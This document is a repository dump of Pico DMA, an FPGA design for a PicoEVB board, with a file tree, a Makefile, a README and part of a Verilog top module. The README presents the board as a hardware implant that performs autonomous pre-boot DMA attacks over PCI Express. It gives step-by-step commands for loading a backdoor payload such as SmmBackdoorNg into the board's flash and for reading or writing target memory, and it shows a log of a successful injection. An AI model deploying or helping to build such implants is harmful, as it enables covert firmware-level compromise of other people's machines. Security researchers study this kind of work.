├── 7x_pcie_microblaze.bin ├── 7x_pcie_microblaze.bit ├── 7x_pcie_microblaze.tcl ├── 7x_pcie_microblaze.xsa ├── Makefile ├── README.md ├── docs └── images │ ├── boards.jpg │ ├── pico_evb_cable.png │ ├── pico_evb_pinout.png │ ├── vitis_export.png │ ├── vitis_platform.png │ ├── vitis_project.png │ └── vivado_elf.png ├── hdl ├── 7x_pcie_microblaze.v ├── pcie_7x_0_pipe_clock.v ├── pcie_7x_0_support.v └── pico_evb.xdc ├── ip ├── axis_data_fifo_0.xci ├── axis_data_fifo_1.xci └── pcie_7x_0.xci ├── microblaze_soc.pdf └── software └── application ├── Debug └── application.elf ├── Release └── application.elf ├── application.prj └── src ├── application.c ├── axi_dma.c ├── axi_dma.h ├── axis_pcie.c ├── axis_pcie.h ├── common.h ├── efi.h ├── efi_image.h ├── flash.c ├── flash.h ├── lscript.ld ├── pcie_tlp.c ├── pcie_tlp.h ├── platform.c ├── platform.h ├── platform_config.h └── protocol.h /7x_pcie_microblaze.bin: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Cr4sh/pico_dma/cb6dbe5889e8cb3490e004bfb8ec8ab48b5611ef/7x_pcie_microblaze.bin -------------------------------------------------------------------------------- /7x_pcie_microblaze.bit: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Cr4sh/pico_dma/cb6dbe5889e8cb3490e004bfb8ec8ab48b5611ef/7x_pcie_microblaze.bit -------------------------------------------------------------------------------- /7x_pcie_microblaze.xsa: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Cr4sh/pico_dma/cb6dbe5889e8cb3490e004bfb8ec8ab48b5611ef/7x_pcie_microblaze.xsa -------------------------------------------------------------------------------- /Makefile: -------------------------------------------------------------------------------- 1 | project: 2 | vivado -mode batch -source 7x_pcie_microblaze.tcl 3 | 4 | bin: 5 | cp 7x_pcie_microblaze/7x_pcie_microblaze.runs/impl_1/pcie_microblaze_top.bin 7x_pcie_microblaze.bin 6 | cp 7x_pcie_microblaze/7x_pcie_microblaze.runs/impl_1/pcie_microblaze_top.bit 7x_pcie_microblaze.bit 7 | 8 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | 2 | # Pico DMA 3 | 4 | [General information](#general-information) 5 | [Contents](#contents) 6 | [Hardware configuration](#hardware-configuration) 7 | [Software configuration](#software-configuration) 8 | [Autonomous DMA attacks](#autonomous-dma-attacks) 9 | [Building the project](#building-the-project) 10 | 11 | ## General information 12 | 13 | This design allows to perform fully autonomous pre-boot DMA attacks over PCI Express bus using [MicroBlaze soft-processor](https://github.com/Cr4sh/pico_dma/blob/main/microblaze_soc.pdf) with embedded [software stack](https://github.com/Cr4sh/pico_dma/tree/main/software/application/src) running on [PicoEVB development board](https://www.crowdsupply.com/rhs-research/picoevb) with Xilinx Artix 7 FPGA. Using Pico DMA design it's possible to create hardware implants in format of tiny M.2 2230 card that injects my [Hyper-V Backdoor](https://github.com/Cr4sh/s6_pcie_microblaze/tree/master/python/payloads/DmaBackdoorHv), [Boot Backdoor](https://github.com/Cr4sh/s6_pcie_microblaze/tree/master/python/payloads/DmaBackdoorBoot), [SMM Backdoor Next Gen](https://github.com/Cr4sh/SmmBackdoorNg) or any other UEFI DXE driver as payload into the target machine boot sequence. 14 | 15 | Despite being focused on autonomous operation Pico DMA alternatively can be controlled over the UART interface in fully compatible way with [PCI Express DIY hacking toolkit](https://github.com/Cr4sh/s6_pcie_microblaze) software libraries and programs. The toolkit is also [providing](https://github.com/Cr4sh/s6_pcie_microblaze/blob/master/python/evb_ctl.py) `evb_ctl.py` program used by this design to flash PicoEVB bitstream and payload UEFI DXE driver into the on-board SPI flash chip. 16 | 17 | On the picture you can see PicoEVB board with set of adapters that allows to use the implant with various PCI Express slots on the target: PCIe x1, mPCIe and [M.2 key M](https://github.com/RHSResearchLLC/PicoEVB/wiki/Adapters): 18 | 19 | 20 | 21 | 22 | ## Contents 23 | 24 | The project consists from the following files and directories: 25 | 26 | * `7x_pcie_microblaze.tcl` − Template to generate Vivado project of FPGA bitstream for PicoEVB development board. 27 | 28 | * `7x_pcie_microblaze.xsa` − Exported hardware configuration of MicroBlaze soft-processor to use with Xilinx Vitis IDE projects. 29 | 30 | * `7x_pcie_microblaze.bin` − Ready to use raw bitstream binary. 31 | 32 | * `7x_pcie_microblaze.bit` − Bitstream binary in Vivado-acceptable format. 33 | 34 | * `ip/` − Configuration files for IP cores. 35 | 36 | * `hdl/` − Pico DMA project Verilog source code and constraints. 37 | 38 | * `software/application/` − Pico DMA project software that woks with TLP layer of PCI Express bus to perform pre-boot DMA attacks. 39 | 40 | 41 | ## Hardware configuration 42 | 43 | To flash provided Pico DMA bitstream file `7x_pcie_microblaze.bin` into the board you can use one of the standard ways from PicoEVB documentation: [over PCI Express](https://github.com/RHSResearchLLC/PicoEVB/tree/master/spi-loader) or [using JTAG adapter with OpenOCD](https://github.com/RHSResearchLLC/PicoEVB/tree/master/spi-flash-program-openocd). 44 | 45 | To configure and control the implant Pico DMA is using GPIO ports of `P1` connector of PicoEVB to expose UART interface (baud-rate 115200) and two push buttons: one for CPU reset and second for switching between autonomous mode and UART-controlled mode: 46 | 47 | 48 | 49 | To work with this interface it's convenient to make a cable like this one, where one end is connected to `P1` of the board and another is UART interface connected with any suitable USB adapter to Linux machine with PCI Express DIY hacking toolkit programs installed: 50 | 51 | 52 | 53 | 54 | ## Software configuration 55 | 56 | By default Pico DMA starts its operation in autonomous mode where UART port is is used only to print software debug messages. Fresh board with flashed bitstream but without configured payload will print the following messages into the UART when reset event occurs: 57 | 58 | ``` 59 | mode_standalone(): Starting attack... 60 | ERROR: bad payload DOS signature 61 | Payload is not present 62 | ``` 63 | 64 | To switch from autonomous mode to UART-controlled mode and configure the implant you need to press CPU reset `SW2` push button while holding `SW1` mode select button, and release mode select after user LED `A` of the board lights up. To switch back to the autonomous mode you can either push CPU reset button or just reboot the target to which the board is connected over M.2 port. 65 | 66 | Before running `evb_ctl.py` or other programs from PCI Express DIY hacking toolkit you need to edit `pcie_lib_config.py` configuration file, set `Conf.device_type` variable to `DEVICE_TYPE_SERIAL` and edit other variables to specify proper UART port device path (for example, `/dev/ttyUSB0`) along with its baud-rate. 67 | 68 | In UART-controlled mode you can use `evb_ctl.py` program to load desired payload UEFI DXE driver image into the SPI flash chip of the board with the following command: 69 | 70 | ``` 71 | # python2 evb_ctl.py --rom-load ~/SmmBackdoorNg_X64.efi 72 | [+] Opening device... 73 | [+] Erasing ROM... 74 | [+] Maximum ROM size for this device is 2818048 bytes 75 | [+] Loading 19712 bytes of ROM... 76 | [+] 100% completed 77 | [+] Done 78 | ``` 79 | 80 | To erase payload image from memory you can use appropriate `--rom-erase` option of the program. 81 | 82 | Also, you can use the same program to flash FPGA bitstream into the board: 83 | 84 | ``` 85 | # python2 evb_ctl.py --bit-load 7x_pcie_microblaze.bin 86 | [+] Opening device... 87 | [+] Erasing memory... 88 | [+] Loading 1358540 bytes of bitstream... 89 | [+] 100% completed 90 | [+] Done 91 | ``` 92 | 93 | PicoEVB board has 4 MB SPI flash chip, this design [is using](https://github.com/Cr4sh/pico_dma/blob/99c6463da0a0c17a4efcb734942122681945c016/software/application/src/platform_config.h#L25) `0x150000` bytes of its space for FPGA bitstream (that also embeds [compiled software image](https://github.com/Cr4sh/pico_dma/tree/main/software/application/Debug) for MicroBlaze soft-processor) and remaining `0x2b0000` bytes for pre-boot DMA attack payload, so its maximum size is limited to this specific value. 94 | 95 | When PCI-E link with the board is up − UART-controlled mode allows you to work with usual Python tools from PCI Express DIY hacking toolkit. For example, you can read PCI configuration space registers of the board using `pcie_cfg.py` program: 96 | 97 | ``` 98 | # python2 pcie_cfg.py 99 | [+] PCI-E link with target is up 100 | [+] Device address is 01:00.0 101 | 102 | VENDOR_ID = 0x10ee 103 | DEVICE_ID = 0x1337 104 | COMMAND = 0x0 105 | STATUS = 0x2010 106 | REVISION = 0x0 107 | CLASS_PROG = 0x0 108 | CLASS_DEVICE = 0x200 109 | CACHE_LINE_SIZE = 0x0 110 | LATENCY_TIMER = 0x0 111 | HEADER_TYPE = 0x0 112 | BIST = 0x0 113 | BASE_ADDRESS_0 = 0x91500000 114 | BASE_ADDRESS_1 = 0x0 115 | BASE_ADDRESS_2 = 0x0 116 | BASE_ADDRESS_3 = 0x0 117 | BASE_ADDRESS_4 = 0x0 118 | BASE_ADDRESS_5 = 0x0 119 | CARDBUS_CIS = 0x0 120 | SUBSYSTEM_VENDOR_ID = 0x10ee 121 | SUBSYSTEM_ID = 0x7 122 | ROM_ADDRESS = 0x0 123 | INTERRUPT_LINE = 0xff 124 | INTERRUPT_PIN = 0x1 125 | MIN_GNT = 0x0 126 | MAX_LAT = 0x0 127 | ``` 128 | 129 | Or even perform memory read or write operations over PCI-E bus of the target at relatively low speed of UART interface with `pcie_mem.py` program: 130 | 131 | ``` 132 | $ DEBUG_TLP=1 python2 pcie_mem.py 0x10000 0x20 133 | [+] PCI-E link with target is up 134 | [+] Device address is 01:00.0 135 | TLP TX: size = 0x04, source = 01:00.0, type = MRd64 136 | tag = 0x13, bytes = 0x20, addr = 0x00010000 137 | 138 | 0x20000008 0x010013ff 0x00000000 0x00010000 139 | 140 | TLP RX: size = 0x0b, source = 00:00.0, type = CplD 141 | tag = 0x13, bytes = 32, req = 01:00.0, comp = 00:00.0 142 | 143 | 0x4a000008 0x00000020 0x01001300 144 | 0xc4230c00 0x00000000 0xd43039ce 0xd5202acf 0x48c7c000 0x0001000f 0xae38488b 0x004885c0 145 | 146 | 00010000: c4 23 0c 00 00 00 00 00 d4 30 39 ce d5 20 2a cf | .........09..... 147 | 00010010: 48 c7 c0 00 00 01 00 0f ae 38 48 8b 00 48 85 c0 | H........8H..H.. 148 | ``` 149 | 150 | 151 | ## Autonomous DMA attacks 152 | 153 | While working in autonomous mode, which is activated by default when board powers on, Pico DMA is trying to start DMA attack as soon as PCI-E bus becomes usable, injects previously flashed payload UEFI DXE driver into the target machine boot sequence and prints the following debug messages into the UART port: 154 | 155 | ``` 156 | mode_standalone(): Starting attack... 157 | Image size is 0x4D00 158 | Section #0 addr = 0x2E0, size = 0x3817 159 | Section #1 addr = 0x3B00, size = 0xAB8 160 | Section #2 addr = 0x45C0, size = 0x380 161 | Section #3 addr = 0x4940, size = 0x28 162 | Section #4 addr = 0x4980, size = 0x15C 163 | Section #5 addr = 0x4AE0, size = 0x1E4 164 | Section #6 addr = 0x4CE0, size = 0xC 165 | Payload size is 19712 bytes 166 | Payload config RVA is 0x4940 167 | SCAN_CONF is not present 168 | Waiting for PCI-E endpoint to be ready... 169 | dev_id = 1:0.0 170 | Starting memory scan... 171 | scan_memory(): start = 0xE0000000 172 | scan_memory(): end = 0x70000000 173 | scan_memory(): step = 0x10000 174 | EFI image is at 0x7A070000 175 | EFI_SYSTEM_TABLE is at 0x7A03E018 176 | EFI_BOOT_SERVICES is at 0x7A38FA30 177 | LocateProtocol() is at 0x7A3987B4 178 | Payload stub is at 0x10010 179 | Payload is at 0xC0000 180 | Payload entry is at 0xC23C4 181 | mode_standalone(): Completed 182 | ``` 183 | 184 | After accomplished pre-boot DMA attack Pico DMA software halts its operation and will perform another attack attempt only when reset event occurs, which happens after the target reboot or next power on. 185 | 186 | At early stage of the attack Pico DMA software performs target system physical memory scan starting from address `0xe0000000` down to address `0x70000000` with `0x10000` bytes step in order to locate some UEFI driver image that belongs to the platform firmware, and later using this image it locates necessary `EFI_SYSTEM_TABLE` address. To override default configuration of memory scan you can specify appropriate values in `--scan-start`, `--scan-end` and `--scan-step` command line options of `evb_ctl.py` program while loading payload into the board with `--rom-load` option. 187 | 188 | Project documentation is still incomplete at this moment. 189 | 190 | 191 | ## Building the project 192 | 193 | To build Pico DMA software and bitstream form the source code and you need to perform the following steps: 194 | 195 | 1. Run `make project` to generate Vivado project from `7x_pcie_microblaze.tcl` template. 196 | 197 | 2. Open generated project `7x_pcie_microblaze/7x_pcie_microblaze.xpr` in Vivado, run synthesis and export hardware design into the `pcie_microblaze_top.xsa` file using "File" → "Export" → "Export Hardware" main menu item. 198 | 199 | 3. Run Xilinx Vitis IDE form Vivado using "Tools" → "Launch Vitis" main menu item. In Vitis you need to specify new empty folder (for example, `~/pico_dma/vitis/`) as your workspace and create new platform project from `pcie_microblaze_top.xsa` hardware description file generated at previous step: 200 | 201 |

202 | 203 | 4. In Vitis IDE you need to create new C project called `application` for your platform and select "Empty Application" from available templates: 204 | 205 |

206 | 207 | 5. Now you need to import C code and header files from `~/pico_dma/software/application/src/` folder into the source code tree of your newly created application like it shown on the picture: 208 | 209 |

210 | 211 | 6. Compile Debug build of the platform and application in Vitis, resulting software image for MicroBlaze soft-processor will be created at `~/pico_dma/vitis/application/Debug/application.elf` file path. 212 | 213 | 7. Close Vitis and get back to the Vivado. In design sources tree of the project you need to locate `application.elf` file, click "Replace File..." in its context menu and replace it with binary from your Vitis workspace that was compiled during previous step. 214 | 215 | 8. Run implementation and generate bitstream in Vivado, after successful completion you can execute `make bin` command to copy bitstream files from Vivado project output directory into the `~/pico_dma/` root directory. 216 | 217 | To flash generated Pico DMA bitstream file `7x_pcie_microblaze.bin` into the board over its JTAG interface using Vivado, with bare minimum set of 3-rd party designs and tools, you can perform the following steps: 218 | 219 | 1. Connect JTAG interface of PicoEVB to your computer using [recommended M.2 adapter](https://github.com/RHSResearchLLC/PicoEVB/wiki/Adapters) and USB cable. 220 | 221 | 2. Install [virtual JTAG cable software](https://github.com/RHSResearchLLC/xvcd) and run `sudo ./xvcd -P 0x6015` in the console to start its server. 222 | 223 | 3. Execute the following command in Vivado TCL console to open Hardware Manager and connect to the board over the virtual cable: `open_hw; connect_hw_server; open_hw_target -xvc_url localhost:2542`. 224 | 225 | 4. In Hardware Manager you need to select `xc7a50t_0` FPGA chip and run "Program Device" from its context menu to load the bitstream. 226 | 227 | 5. Now you can follow previously described steps from [Software configuration](#software-configuration) part of documentation to flash FPGA bitstream and payload image into the on-board SPI flash chip of PicoEVB with `evb_ctl.py` program. 228 | 229 | 230 | ## About 231 | 232 | Developed by:
233 | Dmytro Oleksiuk (aka Cr4sh) 234 | 235 | [cr4sh0@gmail.com](mailto:cr4sh0@gmail.com)
236 | [http://blog.cr4.sh](http://blog.cr4.sh) 237 | -------------------------------------------------------------------------------- /docs/images/boards.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Cr4sh/pico_dma/cb6dbe5889e8cb3490e004bfb8ec8ab48b5611ef/docs/images/boards.jpg -------------------------------------------------------------------------------- /docs/images/pico_evb_cable.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Cr4sh/pico_dma/cb6dbe5889e8cb3490e004bfb8ec8ab48b5611ef/docs/images/pico_evb_cable.png -------------------------------------------------------------------------------- /docs/images/pico_evb_pinout.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Cr4sh/pico_dma/cb6dbe5889e8cb3490e004bfb8ec8ab48b5611ef/docs/images/pico_evb_pinout.png -------------------------------------------------------------------------------- /docs/images/vitis_export.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Cr4sh/pico_dma/cb6dbe5889e8cb3490e004bfb8ec8ab48b5611ef/docs/images/vitis_export.png -------------------------------------------------------------------------------- /docs/images/vitis_platform.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Cr4sh/pico_dma/cb6dbe5889e8cb3490e004bfb8ec8ab48b5611ef/docs/images/vitis_platform.png -------------------------------------------------------------------------------- /docs/images/vitis_project.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Cr4sh/pico_dma/cb6dbe5889e8cb3490e004bfb8ec8ab48b5611ef/docs/images/vitis_project.png -------------------------------------------------------------------------------- /docs/images/vivado_elf.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Cr4sh/pico_dma/cb6dbe5889e8cb3490e004bfb8ec8ab48b5611ef/docs/images/vivado_elf.png -------------------------------------------------------------------------------- /hdl/7x_pcie_microblaze.v: -------------------------------------------------------------------------------- 1 | // 2 | // Top level module 3 | // 4 | 5 | `timescale 1 ps / 1 ps 6 | 7 | `define PCI_EXP_EP_OUI 24'h000A35 8 | 9 | // 10 | // Device Serial Number (DSN) constants 11 | // 12 | `define PCI_EXP_EP_DSN_2 32'h00000001 13 | `define PCI_EXP_EP_DSN_1 {{ 8'h1 }, `PCI_EXP_EP_OUI } 14 | 15 | module pcie_microblaze_top # 16 | ( 17 | parameter PL_FAST_TRAIN = "FALSE", // Simulation Speedup 18 | parameter EXT_PIPE_SIM = "FALSE", // This Parameter has effect on selecting Enable External PIPE Interface in GUI. 19 | parameter PCIE_EXT_CLK = "TRUE", // Use External Clocking Module 20 | parameter REF_CLK_FREQ = 0, // 0 - 100 MHz, 1 - 125 MHz, 2 - 250 MHz 21 | parameter C_DATA_WIDTH = 64, // RX/TX interface data width 22 | parameter KEEP_WIDTH = C_DATA_WIDTH / 8 // TSTRB width 23 | )( 24 | input sys_clk_n, 25 | input sys_clk_p, 26 | input sys_rst_n, 27 | input [1:0] user_io, 28 | output [2:0] user_led, 29 | input uart_rxd, 30 | output uart_txd, 31 | output clkreq_l, 32 | output pcie_txp, 33 | output pcie_txn, 34 | input pcie_rxp, 35 | input pcie_rxn, 36 | inout spi_io0_io, 37 | inout spi_io1_io, 38 | inout spi_io2_io, 39 | inout spi_io3_io, 40 | inout spi_ss_io 41 | ); 42 | 43 | assign clkreq_l = 1'b0; 44 | 45 | // 46 | // Clock and reset 47 | // 48 | wire pipe_mmcm_rst_n; 49 | wire user_clk; 50 | wire user_reset; 51 | wire user_lnk_up; 52 | 53 | // 54 | // Transmit 55 | // 56 | wire s_axis_tx_tready; 57 | wire [3:0] s_axis_tx_tuser; 58 | wire [C_DATA_WIDTH - 1 : 0] s_axis_tx_tdata; 59 | wire [KEEP_WIDTH - 1 : 0] s_axis_tx_tkeep; 60 | wire s_axis_tx_tlast; 61 | wire s_axis_tx_tvalid; 62 | 63 | // 64 | // Receive 65 | // 66 | wire [C_DATA_WIDTH - 1 : 0] m_axis_rx_tdata; 67 | wire [KEEP_WIDTH - 1 : 0] m_axis_rx_tkeep; 68 | wire m_axis_rx_tlast; 69 | wire m_axis_rx_tvalid; 70 | wire m_axis_rx_tready; 71 | wire [21:0] m_axis_rx_tuser; 72 | 73 | // 74 | // Common 75 | // 76 | wire tx_cfg_gnt; 77 | wire rx_np_ok; 78 | wire rx_np_req; 79 | wire cfg_turnoff_ok; 80 | wire cfg_trn_pending; 81 | wire cfg_pm_halt_aspm_l0s; 82 | wire cfg_pm_halt_aspm_l1; 83 | wire cfg_pm_force_state_en; 84 | wire [1:0] cfg_pm_force_state; 85 | wire cfg_pm_wake; 86 | wire [63:0] cfg_dsn; 87 | 88 | // 89 | // Flow vontrol 90 | // 91 | wire [2:0] fc_sel; 92 | 93 | // 94 | // Configuration interface 95 | // 96 | wire cfg_err_ecrc; 97 | wire cfg_err_cor; 98 | wire cfg_err_atomic_egress_blocked; 99 | wire cfg_err_internal_cor; 100 | wire cfg_err_malformed; 101 | wire cfg_err_mc_blocked; 102 | wire cfg_err_poisoned; 103 | wire cfg_err_norecovery; 104 | wire cfg_err_acs; 105 | wire cfg_err_internal_uncor; 106 | wire cfg_err_ur; 107 | wire cfg_err_cpl_timeout; 108 | wire cfg_err_cpl_abort; 109 | wire cfg_err_cpl_unexpect; 110 | wire cfg_err_posted; 111 | wire cfg_err_locked; 112 | wire [47:0] cfg_err_tlp_cpl_header; 113 | wire [127:0] cfg_err_aer_headerlog; 114 | wire [4:0] cfg_aer_interrupt_msgnum; 115 | wire cfg_interrupt; 116 | wire cfg_interrupt_assert; 117 | wire [7:0] cfg_interrupt_di; 118 | wire cfg_interrupt_stat; 119 | wire [4:0] cfg_pciecap_interrupt_msgnum; 120 | wire cfg_to_turnoff; 121 | wire [7:0] cfg_bus_number; 122 | wire [4:0] cfg_device_number; 123 | wire [2:0] cfg_function_number; 124 | wire [31:0] cfg_mgmt_di; 125 | wire [31:0] cfg_mgmt_do; 126 | wire [3:0] cfg_mgmt_byte_en; 127 | wire [9:0] cfg_mgmt_dwaddr; 128 | wire cfg_mgmt_wr_en; 129 | wire cfg_mgmt_rd_en; 130 | wire cfg_mgmt_wr_readonly; 131 | wire cfg_mgmt_rd_wr_done; 132 | 133 | // 134 | // Physical layer control and status interface 135 | // 136 | wire pl_directed_link_auton; 137 | wire [1:0] pl_directed_link_change; 138 | wire pl_directed_link_speed; 139 | wire [1:0] pl_directed_link_width; 140 | wire pl_upstream_prefer_deemph; 141 | 142 | // 143 | // System interface 144 | // 145 | wire sys_rst_n_c; 146 | wire sys_clk; 147 | 148 | // 149 | // Register declaration 150 | // 151 | reg user_reset_q; 152 | reg user_lnk_up_q; 153 | 154 | // 155 | // Local parameters 156 | // 157 | localparam TCQ = 1; 158 | localparam USER_CLK_FREQ = 2; 159 | localparam USER_CLK2_DIV2 = "FALSE"; 160 | localparam USERCLK2_FREQ = (USER_CLK2_DIV2 == "TRUE") ? (USER_CLK_FREQ == 4) ? 3 : (USER_CLK_FREQ == 3) ? 2 : USER_CLK_FREQ: USER_CLK_FREQ; 161 | 162 | // Reset input buffer 163 | IBUF sys_reset_n_ibuf(.O( sys_rst_n_c ), .I( sys_rst_n )); 164 | 165 | // Transciever clock input buffer 166 | IBUFDS_GTE2 refclk_ibuf(.O( sys_clk ), .I( sys_clk_p ), .IB( sys_clk_n ), .CEB( 1'b0 )); 167 | 168 | always @(posedge user_clk) begin 169 | 170 | user_reset_q <= user_reset; 171 | user_lnk_up_q <= user_lnk_up; 172 | 173 | end 174 | 175 | assign pipe_mmcm_rst_n = 1'b1; 176 | 177 | // 178 | // PCI Express endpoint shared logic wrapper 179 | // 180 | pcie_7x_0_support # 181 | ( 182 | .LINK_CAP_MAX_LINK_WIDTH( 1 ), // PCIe Lane Width 183 | .C_DATA_WIDTH( C_DATA_WIDTH ), // RX/TX interface data width 184 | .KEEP_WIDTH( KEEP_WIDTH ), // TSTRB width 185 | .PCIE_REFCLK_FREQ( REF_CLK_FREQ ), // PCIe reference clock frequency 186 | .PCIE_USERCLK1_FREQ( USER_CLK_FREQ + 1 ), // PCIe user clock 1 frequency 187 | .PCIE_USERCLK2_FREQ( USERCLK2_FREQ + 1 ), // PCIe user clock 2 frequency 188 | .PCIE_USE_MODE("1.0"), // PCIe use mode 189 | .PCIE_GT_DEVICE("GTP") // PCIe GT device 190 | ) 191 | pcie_7x_0_support_i 192 | ( 193 | // PCI Express transmit 194 | .pci_exp_txn( pcie_txn ), 195 | .pci_exp_txp( pcie_txp ), 196 | 197 | // PCI Express receive 198 | .pci_exp_rxn( pcie_rxn ), 199 | .pci_exp_rxp( pcie_rxp ), 200 | 201 | // Clocking sharing 202 | .pipe_pclk_sel_slave( 1'b0 ), 203 | .pipe_mmcm_rst_n( pipe_mmcm_rst_n ), 204 | 205 | // AXI-S Common 206 | .user_clk_out( user_clk ), 207 | .user_reset_out( user_reset ), 208 | .user_lnk_up( user_lnk_up ), 209 | 210 | // AXI-S transmit 211 | .s_axis_tx_tready( s_axis_tx_tready ), 212 | .s_axis_tx_tdata( s_axis_tx_tdata ), 213 | .s_axis_tx_tkeep( s_axis_tx_tkeep ), 214 | .s_axis_tx_tuser( s_axis_tx_tuser ), 215 | .s_axis_tx_tlast( s_axis_tx_tlast ), 216 | .s_axis_tx_tvalid( s_axis_tx_tvalid ), 217 | 218 | // AXI-S receive 219 | .m_axis_rx_tdata( m_axis_rx_tdata ), 220 | .m_axis_rx_tkeep( m_axis_rx_tkeep ), 221 | .m_axis_rx_tlast( m_axis_rx_tlast ), 222 | .m_axis_rx_tvalid( m_axis_rx_tvalid ), 223 | .m_axis_rx_tready( m_axis_rx_tready ), 224 | .m_axis_rx_tuser( m_axis_rx_tuser ), 225 | 226 | // Flow control 227 | .fc_sel( fc_sel ), 228 | 229 | // Management interface 230 | .cfg_mgmt_di( cfg_mgmt_di ), 231 | .cfg_mgmt_do( cfg_mgmt_do ), 232 | .cfg_mgmt_byte_en( cfg_mgmt_byte_en ), 233 | .cfg_mgmt_dwaddr( cfg_mgmt_dwaddr ), 234 | .cfg_mgmt_wr_en( cfg_mgmt_wr_en ), 235 | .cfg_mgmt_rd_en( cfg_mgmt_rd_en ), 236 | .cfg_mgmt_wr_readonly( cfg_mgmt_wr_readonly ), 237 | .cfg_mgmt_rd_wr_done( cfg_mgmt_rd_wr_done ), 238 | .cfg_mgmt_wr_rw1c_as_rw( 1'b0 ), 239 | 240 | // Error reporting interface 241 | .cfg_err_ecrc( cfg_err_ecrc ), 242 | .cfg_err_ur( cfg_err_ur ), 243 | .cfg_err_cpl_timeout( cfg_err_cpl_timeout ), 244 | .cfg_err_cpl_unexpect( cfg_err_cpl_unexpect ), 245 | .cfg_err_cpl_abort( cfg_err_cpl_abort ), 246 | .cfg_err_posted( cfg_err_posted ), 247 | .cfg_err_cor( cfg_err_cor ), 248 | .cfg_err_atomic_egress_blocked( cfg_err_atomic_egress_blocked ), 249 | .cfg_err_internal_cor( cfg_err_internal_cor ), 250 | .cfg_err_malformed( cfg_err_malformed ), 251 | .cfg_err_mc_blocked( cfg_err_mc_blocked ), 252 | .cfg_err_poisoned( cfg_err_poisoned ), 253 | .cfg_err_norecovery( cfg_err_norecovery ), 254 | .cfg_err_tlp_cpl_header( cfg_err_tlp_cpl_header ), 255 | .cfg_err_locked( cfg_err_locked ), 256 | .cfg_err_acs( cfg_err_acs ), 257 | .cfg_err_internal_uncor( cfg_err_internal_uncor ), 258 | 259 | // AER interface 260 | .cfg_err_aer_headerlog( cfg_err_aer_headerlog ), 261 | .cfg_aer_interrupt_msgnum( cfg_aer_interrupt_msgnum ), 262 | 263 | // AXI common 264 | .tx_cfg_gnt( tx_cfg_gnt ), 265 | .rx_np_ok( rx_np_ok ), 266 | .rx_np_req( rx_np_req ), 267 | .cfg_trn_pending( cfg_trn_pending ), 268 | .cfg_pm_halt_aspm_l0s( cfg_pm_halt_aspm_l0s ), 269 | .cfg_pm_halt_aspm_l1( cfg_pm_halt_aspm_l1 ), 270 | .cfg_pm_force_state_en( cfg_pm_force_state_en ), 271 | .cfg_pm_force_state( cfg_pm_force_state ), 272 | .cfg_dsn( cfg_dsn ), 273 | .cfg_turnoff_ok( cfg_turnoff_ok ), 274 | .cfg_pm_wake( cfg_pm_wake ), 275 | 276 | // RP only 277 | .cfg_pm_send_pme_to( 1'b0 ), 278 | .cfg_ds_bus_number( 8'b0 ), 279 | .cfg_ds_device_number( 5'b0 ), 280 | .cfg_ds_function_number( 3'b0 ), 281 | 282 | // EP Only 283 | .cfg_interrupt( cfg_interrupt ), 284 | .cfg_interrupt_assert( cfg_interrupt_assert ), 285 | .cfg_interrupt_di( cfg_interrupt_di ), 286 | .cfg_interrupt_stat( cfg_interrupt_stat ), 287 | .cfg_pciecap_interrupt_msgnum( cfg_pciecap_interrupt_msgnum ), 288 | 289 | // Configuration interface 290 | .cfg_to_turnoff( cfg_to_turnoff ), 291 | .cfg_bus_number( cfg_bus_number ), 292 | .cfg_device_number( cfg_device_number ), 293 | .cfg_function_number( cfg_function_number ), 294 | 295 | // Physical layer control and status interface 296 | .pl_directed_link_change( pl_directed_link_change ), 297 | .pl_directed_link_width( pl_directed_link_width ), 298 | .pl_directed_link_speed( pl_directed_link_speed ), 299 | .pl_directed_link_auton( pl_directed_link_auton ), 300 | .pl_upstream_prefer_deemph( pl_upstream_prefer_deemph ), 301 | .pl_transmit_hot_rst( 1'b0 ), 302 | .pl_downstream_deemph_source( 1'b0 ), 303 | 304 | // PCI Express DRP interface 305 | .pcie_drp_clk( 1'b1 ), 306 | .pcie_drp_en( 1'b0 ), 307 | .pcie_drp_we( 1'b0 ), 308 | .pcie_drp_addr( 9'h0 ), 309 | .pcie_drp_di( 16'h0 ), 310 | 311 | // System interface 312 | .sys_clk( sys_clk ), 313 | .sys_rst_n( sys_rst_n_c ) 314 | ); 315 | 316 | assign fc_sel = 3'b0; 317 | 318 | assign tx_cfg_gnt = 1'b1; // Always allow transmission of Config traffic within block 319 | assign rx_np_ok = 1'b1; // Allow Reception of Non-posted Traffic 320 | assign rx_np_req = 1'b1; // Always request Non-posted Traffic if available 321 | assign cfg_pm_wake = 1'b0; // Never direct the core to send a PM_PME Message 322 | assign cfg_trn_pending = 1'b0; // Never set the transaction pending bit in the Device Status Register 323 | assign cfg_pm_halt_aspm_l0s = 1'b0; // Allow entry into L0s 324 | assign cfg_pm_halt_aspm_l1 = 1'b0; // Allow entry into L1 325 | assign cfg_pm_force_state_en = 1'b0; // Do not qualify cfg_pm_force_state 326 | assign cfg_pm_force_state = 2'b00; // Do not move force core into specific PM state 327 | assign s_axis_tx_tuser[0] = 1'b0; // Unused for V6 328 | assign s_axis_tx_tuser[1] = 1'b0; // Error forward packet 329 | assign s_axis_tx_tuser[2] = 1'b0; // Stream packet 330 | 331 | assign cfg_err_cor = 1'b0; // Never report Correctable Error 332 | assign cfg_err_ur = 1'b0; // Never report UR 333 | assign cfg_err_ecrc = 1'b0; // Never report ECRC Error 334 | assign cfg_err_cpl_timeout = 1'b0; // Never report Completion Timeout 335 | assign cfg_err_cpl_abort = 1'b0; // Never report Completion Abort 336 | assign cfg_err_cpl_unexpect = 1'b0; // Never report unexpected completion 337 | assign cfg_err_posted = 1'b0; // Never qualify cfg_err_* inputs 338 | assign cfg_err_locked = 1'b0; // Never qualify cfg_err_ur or cfg_err_cpl_abort 339 | assign cfg_err_atomic_egress_blocked = 1'b0; // Never report Atomic TLP blocked 340 | assign cfg_err_internal_cor = 1'b0; // Never report internal error occurred 341 | assign cfg_err_malformed = 1'b0; // Never report malformed error 342 | assign cfg_err_mc_blocked = 1'b0; // Never report 